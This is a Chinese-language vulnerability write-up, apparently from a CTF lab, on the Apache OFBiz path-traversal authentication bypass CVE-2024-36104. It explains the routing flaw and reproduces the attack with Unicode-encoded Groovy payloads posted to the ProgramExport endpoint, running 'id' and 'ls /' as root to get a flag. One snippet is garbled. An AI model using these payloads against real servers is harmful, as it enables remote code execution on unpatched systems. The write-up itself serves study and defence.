本文最后更新于 2025年7月12日 凌晨
Apache OFBiz 版本 18.12.14 之前版本中存在路径遍历漏洞,导致攻击者能够绕过后台功能点的过滤器验证,并通过 /webtools/control/ProgramExport 接口执行任意 groovy 代码实现远程代码执行(RCE)
CVE-2024-36104
1
| Apache OFBiz 版本 18.12.14 之前版本中存在路径遍历漏洞,源于org.apache.ofbiz.webapp.control.ControlFilter类对路径(请求 URL 中的特殊字符(如 ;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过 /webtools/control/ProgramExport 接口执行任意 Groovy 代码实现远程代码执行(RCE)
|
原理分析
OFBiz 的请求路由逻辑
Apache OFBiz 使用 ControlServlet
和 ControlFilter
处理请求路径,其路由规则如下:
默认情况下,请求路径会被解析为:/webtools/control/<endpoint>
,其中 <endpoint>
对应 controller.xml
中定义的 <request-map>
由于 OFBiz 的路径解析逻辑没有严格校验路径层级,所以导致以下两种请求是一样的:
1 2
| 合法路径:/webtools/control/ProgramExport 嵌套路径:/webtools/control/forgotPassword/ProgramExport
|

doGet 方法中可以看到只取了路径的第一层,后面的路径会直接被忽略
触发的根本原因
查看源码可以发现:
/framework/common/webcommon/WEB-INF/
路径下的 common-controller.xml
文件中的 forgotPassword
是不需要认证的
1 2 3 4 5 6 7
| <request-map uri="forgotPassword"> <security https="true" auth="false"/> <event type="java" path="org.apache.ofbiz.securityext.login.LoginEvents" invoke="forgotPassword"/> <response name="success" type="view" value="forgotPassword"/> <response name="error" type="view" value="forgotPassword"/> <response name="auth" type="request-redirect" value="main" /> </request-map>
|
而 framework/webtools/webapp/webtools/WEB-INF/controller.xml
文件中的 ProgramExport
经过了认证
1 2 3 4 5
| <request-map uri="ProgramExport"> <security https="true" auth="true"/> <response name="success" type="view" value="ProgramExport"/> <response name="error" type="view" value="ProgramExport"/> </request-map>
|
所以由于路由逻辑缺陷,当用户访问 /forgotPassword/ProgramExport
时:
首先 forgotPassword
可以直接访问,后续路径 ProgramExport
被错误地当作子接口处理,绕过了对 ProgramExport
本身的权限校验。
复现
URL 后加上 /accounting/control/main
可以正常访问,不然就是 404
可以看到一个 ERROR MESSAGE,出现报错,因为是非本地 localhost 启动,Headers 需要包含 Host: localhost
,所以把 Host 改为:localhist:port
请求 /webtools/control/forgotPassword/ProgramExport
接口
1
| throw new Exception('id'.execute().t/webtools/control/forgotPassword/ProgramExportext);
|
POST 传参
1
| groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u0069\u0064\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B
|
得到 id 为 root,说明执行成功
列出根目录下所有文件查看
1
| throw new Exception('ls /'.execute().text);
|
同样的 Unicode 编码
1
| groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u006C\u0073\u0020\u002F\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B
|
列出了所有文件,拿到 flag
1
| flag{5391edef-3ee9-4a1a-b452-db929d329eac}
|
参考:
Apache OFBiz 目录遍历致代码执行漏洞 CVE-2024-36104